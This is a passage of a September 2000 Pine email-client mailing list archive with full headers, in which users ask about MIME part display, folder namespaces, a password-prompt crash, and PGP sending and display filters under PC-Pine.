Parts/Attachments:
   1   OK     ~36 lines  Text
   2   OK    ~197 lines  Text
----------------------------------------


    [ Part 1, Text/PLAIN  36 lines. ]
    [ Not Shown. Use the "V" command to view or save this part. ]


    [ Part 2, Text/HTML  197 lines. ]
    [ Not Shown. Use the "V" command to view or save this part. ]

-- 
-----------------------------------------------------------------
 For information about this mailing list, and its archives, see: 
 http://www.washington.edu/pine/pine-info/
-----------------------------------------------------------------

From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Thu, 21 Sep 2000 14:53:14 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA19773;
	Thu, 21 Sep 2000 14:53:13 -0700 (PDT)
Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA21731;
	Thu, 21 Sep 2000 14:53:12 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id OAA22836;
	Thu, 21 Sep 2000 14:52:34 -0700
Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id OAA72720
	for <pine-info@lists.u.washington.edu>; Thu, 21 Sep 2000 14:47:11 -0700
Received: from mm02snlnto.sandia.gov (mm02snlnto.sandia.gov [132.175.109.21])
	by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id OAA06074
	for <pine-info@u.washington.edu>; Thu, 21 Sep 2000 14:47:06 -0700
Received: from 132.175.109.1 by mm02snlnto.sandia.gov with ESMTP (
 WorldSecure Server SMTP Relay(WSS) v4.5); Thu, 21 Sep 2000 15:46:56
 -0600
Received: from es08snlnt.sandia.gov (es08snlnt.sandia.gov
 [134.253.130.11]) by sass165.sandia.gov (8.10.2/8.10.2) with ESMTP id
 e8LLktn05701; Thu, 21 Sep 2000 15:46:55 -0600 (MDT)
Received: from sasg829.sandia.gov ([134.253.45.38]) by
 es08snlnt.sandia.gov with SMTP (Microsoft Exchange Internet Mail
 Service Version 5.5.2650.21) id S2VWZZAW; Thu, 21 Sep 2000 15:46:55
 -0600
Message-Id: <Pine.SGI.4.21.0009211545350.353748-100000@sasg829.sandia.gov>
Date: Thu, 21 Sep 2000 15:46:55 -0600
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: "Daniel Sands" <dnsands@sandia.gov>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: not showing me any part by default?
In-Reply-To: <Pine.GSO.4.21.0009211336410.15740-100000@vax.area.com>
MIME-Version: 1.0
Content-Type: text/plain; 
 charset=us-ascii
Content-Transfer-Encoding: 7bit
X-To: "Matt Ackeret" <mattack@area.com>
X-Cc: "Pine Discussion Forum" <pine-info@u.washington.edu>
X-Server-Uuid: 7edb479a-fd89-11d2-9a77-0090273cd58c
X-WSS-ID: 15D45E5A410425-01-01
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

I don't know, but lately, if I get a multipart message, it shows me the
Text/HTML part (HTML code and all) and calls up my browser for
Text/PLAIN.  Really dumb.

> I sometimes get messages with neither part being shown automatically..
> 
> Here's a bit of the header and what pine shows.
> 
> Why does this happen?  It seems like usually I see _one_ of the parts
> automatically.  Can I make it show me one of the parts automatically?
> 
> 
> 
> MIME-Version: 1.0
> Content-Type: multipart/alternative;
>         boundary="----=_NextPart_000_0014_01BEA919.0FCF4130"
> Parts/Attachments:
>    1   OK     ~36 lines  Text
>    2   OK    ~197 lines  Text
> ----------------------------------------
> 
> 
>     [ Part 1, Text/PLAIN  36 lines. ]
>     [ Not Shown. Use the "V" command to view or save this part. ]
> 
> 
>     [ Part 2, Text/HTML  197 lines. ]
>     [ Not Shown. Use the "V" command to view or save this part. ]
> 
> -- 
> -----------------------------------------------------------------
>  For information about this mailing list, and its archives, see: 
>  http://www.washington.edu/pine/pine-info/
> -----------------------------------------------------------------
> 



From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 22 Sep 2000 08:27:19 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA28074;
	Fri, 22 Sep 2000 08:27:17 -0700 (PDT)
Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA32131;
	Fri, 22 Sep 2000 08:27:16 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id IAA26203;
	Fri, 22 Sep 2000 08:26:42 -0700
Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id IAA124448
	for <pine-info@lists.u.washington.edu>; Fri, 22 Sep 2000 08:25:07 -0700
Received: from students.uz.ac.zw (IDENT:agona@[196.4.80.241])
	by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id IAA14932
	for <pine-info@u.washington.edu>; Fri, 22 Sep 2000 08:25:01 -0700
Received: (qmail 4815 invoked by uid 1778); 22 Sep 2000 15:26:30 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 22 Sep 2000 15:26:30 -0000
Message-Id: <Pine.LNX.4.10.10009221725340.4086-100000@students.uz.ac.zw>
Date: Fri, 22 Sep 2000 17:26:30 +0200 (CAT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: M Rushwaya <jeps@students.uz.ac.zw>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Folders
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Pine Discussion Forum <pine-info@u.washington.edu>
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN



How does one export or save a messgage on unix pine from the home
directory to an outside folder. Especially one with a # namespace.

Also what kind of folder names are valid for the following namespaces
#public/ and #shared/.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mutumwa Jepson Rushwaya         | Expecting something from nothing is the   
jeps@students.uz.ac.zw          | most popular hope.
				|     
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
















































-- 
-----------------------------------------------------------------
 For information about this mailing list, and its archives, see: 
 http://www.washington.edu/pine/pine-info/
-----------------------------------------------------------------

From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Fri, 22 Sep 2000 15:07:52 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA16925;
	Fri, 22 Sep 2000 15:07:51 -0700 (PDT)
Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA26443;
	Fri, 22 Sep 2000 15:07:50 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA05300;
	Fri, 22 Sep 2000 15:07:25 -0700
Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA69780
	for <pine-info@lists.u.washington.edu>; Fri, 22 Sep 2000 15:05:42 -0700
Received: from usceast.cs.sc.edu (usceast.cse.sc.edu [129.252.11.9])
	by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA02898
	for <pine-info@u.washington.edu>; Fri, 22 Sep 2000 15:05:41 -0700
Received: from pearl.cs.sc.edu (pearl.cs.sc.edu [129.252.130.40])
	by usceast.cs.sc.edu (8.9.3/8.9.3) with ESMTP id SAA14169
	for <pine-info@u.washington.edu>; Fri, 22 Sep 2000 18:05:40 -0400 (EDT)
Received: from localhost (gopalan@localhost)
	by pearl.cs.sc.edu (8.9.3/8.9.3) with ESMTP id SAA08235
	for <pine-info@u.washington.edu>; Fri, 22 Sep 2000 18:05:38 -0400 (EDT)
Message-Id: <Pine.OSF.4.21.0009221759350.1917-100000@pearl.cs.sc.edu>
Date: Fri, 22 Sep 2000 18:05:33 -0400 (EDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Gopi Sundaram <gopalan@cs.sc.edu>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: Folders
In-Reply-To: <Pine.LNX.4.10.10009221725340.4086-100000@students.uz.ac.zw>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Pine Discussion Forum <pine-info@u.washington.edu>
X-Authentication-Warning: pearl.cs.sc.edu: gopalan owned process doing -bs
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

On Fri, 22 Sep 2000, M Rushwaya wrote:

> How does one export or save a messgage on unix pine from the home
> directory to an outside folder. Especially one with a # namespace.

The usual way, by pressing (S)ave. When prompted for a folder name,
you can type in {server.name}#namespace/ or {server.name}path

The path definition is vallidated by the remote server that you are
accessing.

> Also what kind of folder names are valid for the following
> namespaces #public/ and #shared/.

Talk to the administrator of the server you are contacting. In some
cases you may not need to use a namespace, but directly specify a path
instead.

For more information, read the help section in (S)etup
collection(L)ist (A)dd under the Path: field.

Gopi.

-- 
Gopi Sundaram
gopi@cs.sc.edu



From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Mon, 25 Sep 2000 18:33:22 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id SAA26730;
	Mon, 25 Sep 2000 18:33:20 -0700 (PDT)
Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA11600;
	Mon, 25 Sep 2000 18:33:15 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id SAA17855;
	Mon, 25 Sep 2000 18:32:29 -0700
Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id SAA122724
	for <pine-info@lists.u.washington.edu>; Mon, 25 Sep 2000 18:29:56 -0700
Received: from prime.gushi.org (root@ns172.netacces.net [208.23.118.172])
	by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA29862
	for <pine-info@u.washington.edu>; Mon, 25 Sep 2000 18:29:56 -0700
Received: from localhost (danm@localhost)
	by prime.gushi.org (8.9.3/8.9.3) with ESMTP id VAA10493
	for <pine-info@u.washington.edu>; Mon, 25 Sep 2000 21:17:42 -0400 (EDT)
	(envelope-from danm@prime.gushi.org)
Message-Id: <Pine.BSF.4.21.0009252117180.10460-100000@prime.gushi.org>
Date: Mon, 25 Sep 2000 21:17:42 -0400 (EDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: "Daniel Mahoney, Systems Admin" <danm@prime.gushi.org>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Abort Signal in pine 4.21 (fwd)
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

Hey all,

I was using pine 4.21 to access my newsgroups, where I am prompted with a
password (expected behavior), however when I hit enter instead of putting
in my password, I got an "Abort Signal Received" error.  Will this be
fixed in a future relaeas of pine?  Is there any fix I can apply myself?

I am running freeBSD 3.4 RELEASE, and pine was built from the ports
collection.

Thanks,

Dan Mahoney


-- 
-----------------------------------------------------------------
 For information about this mailing list, and its archives, see: 
 http://www.washington.edu/pine/pine-info/
-----------------------------------------------------------------

From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Tue, 26 Sep 2000 05:34:27 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id FAA32134;
	Tue, 26 Sep 2000 05:34:26 -0700 (PDT)
Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA24982;
	Tue, 26 Sep 2000 05:34:24 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id FAA12562;
	Tue, 26 Sep 2000 05:34:04 -0700
Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id FAA133536
	for <pine-info@lists.u.washington.edu>; Tue, 26 Sep 2000 05:32:17 -0700
Received: from nvcheext01.nagra-kudelski.ch (usr561@[193.246.109.168])
	by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA31097
	for <pine-info@u.washington.edu>; Tue, 26 Sep 2000 05:32:14 -0700
Received: from nvchemsg01.nagra-kudelski.ch (nvchemsg01 [10.0.50.41]) by nvcheext01.nagra-kudelski.ch with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id TJ1P6Z4F; Tue, 26 Sep 2000 14:31:59 +0200
Received: from tom.nagra-kudelski.ch ([10.0.50.50]) by nvchemsg01.nagra-kudelski.ch with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id THKH01Q2; Tue, 26 Sep 2000 14:32:17 +0200
Message-Id: <Pine.OSF.4.21.0009261428330.12490-100000@tom.nagra-kudelski.ch>
Date: Tue, 26 Sep 2000 14:30:45 +0200 (MET DST)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Daniel Lungu <lungu@nagra-kudelski.ch>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: PC-Pine 4.21 and display/sending filters
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: PINE-INFO <pine-info@u.washington.edu>
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

Hi!

Is there any answer for the issue addressed by Michael Ruder 
<ruder@gmx.de> on 20th of Sep 1998?


I have encountered the same problem when trying to set up a sending filter
through PGP, under PC-Pine 4.21 / NT4.0:

sending-filters	= C:\bin\pgpe.bat _TMPFILE_ _RECIPIENTS_

I need to run a batch file instead of directly using PGP.exe, since my 
version of PGP 6.5.2 / NT4.0 does not produce standard output. It 
creates instead an output file .pgp or .asc. Here is the content of
"pgpe.bat":

"C:\Program Files\Network Associates\PGPNT\PGP.exe" -ae %1 %2
rem pause
del %1
move %1.asc %1

By inserting a pause before "del %1", you can see PGP's error message:

Pretty Good Privacy(tm) Version 6.5.2
(c) 1999 Network Associates Inc.
Uses the BSafe(tm) Toolkit, which is copyright RSA Data Security, Inc.
Export of this software may be restricted by the U.S. government.

File [C:\TEMP\sfa00215] does not exist.

There is no such temporary file so there should be some bug in Pine
regarding _TMPFILE_ macro.


I decided to try with an existing file instead:

sending-filters	= C:\bin\pgpe.bat C:\TEMP\myfile _RECIPIENTS_

In this case Bill calls Dr. Watson for an access violation from
pine.exe. They claim to generate an application error log but there is
nothing actually reported in "m$ Event Viewer 4.0". In the popped up
shell window PGP generates the encrypted "myfile.asc" message and my batch
moves it back to "myfile" such that Pine would be able to use it through
the _TMPFILE_ mechanism. But at this time Pine has already crashed 8^(


There is another minor bug I would like to mention here, that it is not
possible to specify a filter that resides in a path containing blank
spaces. For instance "C:\Program Files\filter.exe" cannot be installed,
either with or without quotes.


Thank you and sorry for the long story,

daniel

PS: All these are just because I feel really uncomfortable with m$
outlook. How can they fool people...

-- 
-----------------------------------------------------------------
 For information about this mailing list, and its archives, see: 
 http://www.washington.edu/pine/pine-info/
-----------------------------------------------------------------

From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Tue, 26 Sep 2000 09:29:06 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA22025;
	Tue, 26 Sep 2000 09:29:04 -0700 (PDT)
Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA12583;
	Tue, 26 Sep 2000 09:29:04 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id JAA23125;
	Tue, 26 Sep 2000 09:28:33 -0700
Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id JAA119694
	for <pine-info@lists.u.washington.edu>; Tue, 26 Sep 2000 09:26:15 -0700
Received: from euler.math.washington.edu (euler.math.washington.edu [128.95.224.1])
	by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA29168
	for <pine-info@u.washington.edu>; Tue, 26 Sep 2000 09:26:15 -0700
Received: from goedel3.math.washington.edu (goedel3.math.washington.edu [128.95.224.12])
	by euler.math.washington.edu (8.9.3/8.9.3) with ESMTP id JAA238773;
	Tue, 26 Sep 2000 09:24:32 -0700 (PDT)
Message-Id: <Pine.OSF.4.21.0009260913180.89577-100000@goedel3.math.washington.edu>
Date: Tue, 26 Sep 2000 09:25:32 -0700 (PDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Eduardo Chappa <chappa@math.washington.edu>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: PC-Pine 4.21 and display/sending filters
In-Reply-To: <Pine.OSF.4.21.0009261428330.12490-100000@tom.nagra-kudelski.ch>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Daniel Lungu <lungu@nagra-kudelski.ch>
X-Cc: Pine Discussion Forum <pine-info@u.washington.edu>
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

*** Daniel Lungu (lungu@nagra-kudelski.ch) wrote in the pine-info list
about "PC-Pine 4.21 and display/sending filters" today:

:) I have encountered the same problem when trying to set up a sending filter
:) through PGP, under PC-Pine 4.21 / NT4.0:
:) 
:) sending-filters	= C:\bin\pgpe.bat _TMPFILE_ _RECIPIENTS_
:)
[lots of information deleted]

Daniel,

  Your mail makes me believe that you don't understand the way filters
work. I hope my explanation will make it clearer. When you define your
sending filter to be

  C:\bin\pgpe.bat _TMPFILE_

you need to make both, _TMPFILE_ your input and your output file (that is
to say, any file that is generated as the output of your script you should
rename it to be the name of _TMPFILE_). When you write

  C:\bin\pgpe.bat _TMPFILE_ _RECIPIENTS_

it means that the _TMPFILE_ will contain a part of the headers which
includes the list of recipients, so you need to be able to delete that
part of the message before you apply your filter to _TMPFILE_, because
_TMPFILE_ won't only be the message but a little bit of extra headers. (in
another words, the filter never sees the second argument, only Pine does
and interprets it in that way)

  I hope you can get your filter working, and that this helps you a little
bit.

-- 
Eduardo
http://www.math.washington.edu/~chappa/pine/


From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Tue, 26 Sep 2000 10:01:15 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA12387;
	Tue, 26 Sep 2000 10:01:13 -0700 (PDT)
Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA32319;
	Tue, 26 Sep 2000 10:01:13 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA25762;
	Tue, 26 Sep 2000 10:00:32 -0700
Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id JAA146300
	for <pine-info@lists.u.washington.edu>; Tue, 26 Sep 2000 09:59:15 -0700
Received: from nvcheext01.nagra-kudelski.ch ([193.246.109.168])
	by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA32635
	for <pine-info@u.washington.edu>; Tue, 26 Sep 2000 09:59:06 -0700
Received: from nvchemsg01.nagra-kudelski.ch (nvchemsg01 [10.0.50.41]) by nvcheext01.nagra-kudelski.ch with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id TJ1P661Z; Tue, 26 Sep 2000 18:58:35 +0200
Received: from tom.nagra-kudelski.ch ([10.0.50.50]) by nvchemsg01.nagra-kudelski.ch with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id TVQP00V0; Tue, 26 Sep 2000 18:59:46 +0200
Message-Id: <Pine.OSF.4.21.0009261833160.4-100000@tom.nagra-kudelski.ch>
Date: Tue, 26 Sep 2000 18:57:23 +0200 (MET DST)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Daniel Lungu <lungu@nagra-kudelski.ch>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject:  Re: PC-Pine 4.21 and display/sending filters
In-Reply-To: <Pine.OSF.4.21.0009260913180.89577-100000@goedel3.math.washington.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Eduardo Chappa <chappa@math.washington.edu>
X-Cc: Pine Discussion Forum <pine-info@u.washington.edu>
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

On Tue, 26 Sep 2000, Eduardo Chappa wrote:

> Daniel Lungu (lungu@nagra-kudelski.ch) wrote in the pine-info list
> about "PC-Pine 4.21 and display/sending filters" today:
> 
> :) I have encountered the same problem when trying to set up a sending filter
> :) through PGP, under PC-Pine 4.21 / NT4.0:
> :) 
> :) sending-filters	= C:\bin\pgpe.bat _TMPFILE_ _RECIPIENTS_
> :)
> [lots of information deleted]
> 
> Daniel,
> 
>   Your mail makes me believe that you don't understand the way filters
> work. I hope my explanation will make it clearer. When you define your
> sending filter to be
> 
>   C:\bin\pgpe.bat _TMPFILE_
> 
> you need to make both, _TMPFILE_ your input and your output file (that is
> to say, any file that is generated as the output of your script you should
> rename it to be the name of _TMPFILE_). When you write
> 

That is what I am trying in "pgpe.bat":

del %1
move %1.asc %1

>   C:\bin\pgpe.bat _TMPFILE_ _RECIPIENTS_
> 
> it means that the _TMPFILE_ will contain a part of the headers which
> includes the list of recipients, so you need to be able to delete that
> part of the message before you apply your filter to _TMPFILE_, because
> _TMPFILE_ won't only be the message but a little bit of extra headers. (in
> another words, the filter never sees the second argument, only Pine does
> and interprets it in that way)
>

The second argument _RECIPIENTS_ does not stand for an output file. It
is the user id whose public key PGP will encrypt the content of
_TMPFILE_ to.

I did not know that _TMPFILE_ contains headers and not only the
message. However, removing headers would not prevent Pine from
crashing.

Meanwhile I found a new flag '-f' that I can pass to PGP to get
a non-interactive (Unix-like) behaviour, i.e. reading from stdin and
writing to stdout (CON:).

So, now I set my sending filters as follows:

sending-filter = C:\bin\PGP.exe -fae _RECIPIENTS_

Unfortunately Pine still crashes...

It crashes as well when I am trying to read an encrypted message:

display-filters = _BEGINNING("-----BEGIN PGP")_ C:\bin\PGP.exe -f

>   I hope you can get your filter working, and that this helps you a little
> bit.
> 
> -- 
> Eduardo
> http://www.math.washington.edu/~chappa/pine/
> 

My filters still do not work as Michael Ruder already pointed out.

By the way they are just fine with my Unix PINE 4.21 on DEC


From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Tue, 26 Sep 2000 23:58:23 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA21820;
	Tue, 26 Sep 2000 23:58:22 -0700 (PDT)
Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA24674;
	Tue, 26 Sep 2000 23:58:19 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id XAA03608;
	Tue, 26 Sep 2000 23:57:56 -0700
Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id XAA61774
	for <pine-info@lists.u.washington.edu>; Tue, 26 Sep 2000 23:56:15 -0700
Received: from ux-2s02.inf.fh-rhein-sieg.de (ux-2s02.inf.fh-rhein-sieg.de [194.95.66.3])
	by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA11172
